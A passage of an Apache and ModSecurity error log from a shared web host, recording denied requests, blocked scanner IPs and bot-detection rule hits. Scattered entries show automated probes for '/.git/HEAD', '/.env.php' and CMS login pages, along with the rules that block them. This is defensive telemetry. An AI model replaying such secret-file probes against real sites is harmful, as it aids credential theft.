[access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.36:56790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:46.862897 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.36:56790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:47.084040 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.84:59482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:47.084470 2026] [access_compat:error] [pid 646876:tid 646895] [remote 57.141.14.84:59482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:47.151342 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:15:47.151772 2026] [access_compat:error] [pid 646876:tid 646979] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:15:47.313715 2026] [security2:error] [pid 648189:tid 648472] [client 74.7.244.19:56040] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:user-agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "x1-logistics.com"] [uri "/robots.txt"] [unique_id "ai3ys1WSojQL4F7upKBW8QAAAPY"] [Sat Jun 13 18:15:47.453777 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.102:39767] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:47.454050 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.102:39767] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:47.457530 2026] [security2:error] [pid 648189:tid 648418] [client 74.7.244.19:51568] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "404"] [hostname "x1-logistics.com"] [uri "/robots.txt"] [unique_id "ai3ys1WSojQL4F7upKBW9AAAxWA"], referer: http://x1-logistics.com/robots.txt [Sat Jun 13 18:15:47.490562 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.82:47268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:47.491002 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.82:47268] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:47.690950 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:47.691215 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:15:47.771744 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.37:31074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:47.772202 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.37:31074] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:47.906545 2026] [security2:error] [pid 646876:tid 646889] [remote 17.246.23.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ys9yTkdrNlD40tSGi0QAALgo"] [Sat Jun 13 18:15:48.023937 2026] [access_compat:error] [pid 648189:tid 648334] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:48.024395 2026] [access_compat:error] [pid 648189:tid 648334] [remote 216.73.216.182:16754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:48.077294 2026] [proxy:error] [pid 646876:tid 647081] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:15:48.077352 2026] [proxy_http:error] [pid 646876:tid 647081] [client 176.65.139.232:0] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:15:48.078832 2026] [proxy:error] [pid 646876:tid 647081] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:15:48.078844 2026] [proxy:error] [pid 648189:tid 648392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:15:48.078879 2026] [proxy_http:error] [pid 646876:tid 647081] [client 176.65.139.232:0] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:15:48.078893 2026] [proxy_http:error] [pid 648189:tid 648392] [client 176.65.139.235:0] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:15:48.080345 2026] [proxy:error] [pid 648189:tid 648392] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:15:48.080390 2026] [proxy_http:error] [pid 648189:tid 648392] [client 176.65.139.235:0] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:15:48.176918 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.88:49052] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:48.177196 2026] [access_compat:error] [pid 646876:tid 647001] [remote 57.141.14.88:49052] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:48.183386 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.106:20367] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:48.183784 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.106:20367] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:48.191210 2026] [security2:error] [pid 646876:tid 647135] [client 45.130.203.200:28351] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "cpcalendars.adam-de-villiers-foundation-usa.org"] [uri "/.git/HEAD"] [unique_id "ai3ytNyTkdrNlD40tSGi4gAAAH8"] [Sat Jun 13 18:15:48.229175 2026] [security2:error] [pid 648189:tid 648473] [client 13.140.175.37:58134] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "izubaplanners.com"] [uri "/"] [unique_id "ai3ytFWSojQL4F7upKBXDAAAAPc"] [Sat Jun 13 18:15:48.230995 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:15:48.231918 2026] [access_compat:error] [pid 646876:tid 646899] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:15:48.251168 2026] [security2:error] [pid 648189:tid 648430] [client 185.177.72.9:14898] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/.env.php"] [unique_id "ai3ytFWSojQL4F7upKBXDQAAANE"] [Sat Jun 13 18:15:48.336357 2026] [security2:error] [pid 646876:tid 646935] [remote 57.141.14.100:21375] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3ytNyTkdrNlD40tSGi6QAAFzg"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=389&_wpnonce=8d149de2a5&add-to-cart=383 [Sat Jun 13 18:15:48.699723 2026] [security2:error] [pid 648189:tid 648292] [remote 17.22.237.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytFWSojQL4F7upKBXGAAA1UY"] [Sat Jun 13 18:15:48.782462 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:48.782925 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:15:48.800643 2026] [security2:error] [pid 646876:tid 646952] [remote 17.246.23.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytNyTkdrNlD40tSGi9gAAN0k"] [Sat Jun 13 18:15:48.922173 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.99:65234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:48.922616 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.99:65234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:48.931227 2026] [security2:error] [pid 648189:tid 648389] [client 13.140.175.37:49616] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "izubaplanners.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai3ytFWSojQL4F7upKBXIQAAAKk"] [Sat Jun 13 18:15:49.310080 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:15:49.310501 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:15:49.410371 2026] [security2:error] [pid 646876:tid 646947] [remote 168.63.79.147:35116] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.79.63.168.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3ytdyTkdrNlD40tSGjBQAAXkQ"] [Sat Jun 13 18:15:49.429028 2026] [security2:error] [pid 648189:tid 648335] [remote 17.22.245.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytVWSojQL4F7upKBXMAAAlHA"] [Sat Jun 13 18:15:49.515050 2026] [security2:error] [pid 646876:tid 647065] [client 13.140.175.37:60672] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "izubaplanners.com"] [uri "/media/system/js/core.js"] [unique_id "ai3ytdyTkdrNlD40tSGjDAAAADk"] [Sat Jun 13 18:15:49.519572 2026] [security2:error] [pid 646876:tid 647016] [client 77.83.36.161:2853] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "silomaq.com"] [uri "/administrator/index.php"] [unique_id "ai3ytdyTkdrNlD40tSGjBgAAAAg"] [Sat Jun 13 18:15:49.549689 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.73:39988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:49.550119 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.73:39988] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:49.582496 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.12:59424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:49.582954 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.12:59424] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:49.802387 2026] [security2:error] [pid 648189:tid 648296] [remote 17.241.75.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytVWSojQL4F7upKBXPgAA3Uo"] [Sat Jun 13 18:15:49.837048 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:15:49.837097 2026] [security2:error] [pid 646876:tid 646944] [remote 17.246.23.151:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 151.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ytdyTkdrNlD40tSGjFQAANkE"] [Sat Jun 13 18:15:49.837455 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:15:50.301188 2026] [security2:error] [pid 648189:tid 648484] [client 77.83.36.161:3271] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "143"] [id "900402"] [msg "Joomla administrator POST logging"] [data "200"] [hostname "silomaq.com"] [uri "/administrator/index.php"] [unique_id "ai3ytlWSojQL4F7upKBXUQAAAQI"] [Sat Jun 13 18:15:50.331027 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.36:56800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:50.331482 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.36:56800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:50.344215 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.99:65250] AH01797: client denied by 